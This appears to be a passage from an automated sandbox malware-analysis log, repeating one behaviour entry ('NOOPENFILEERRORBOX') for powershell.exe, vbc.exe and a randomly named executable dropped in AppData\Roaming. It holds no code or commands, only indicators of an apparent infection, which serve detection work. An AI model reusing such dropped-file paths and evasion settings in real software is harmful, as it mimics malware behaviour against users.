Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Process information set: NOOPENFILEERRORBOX
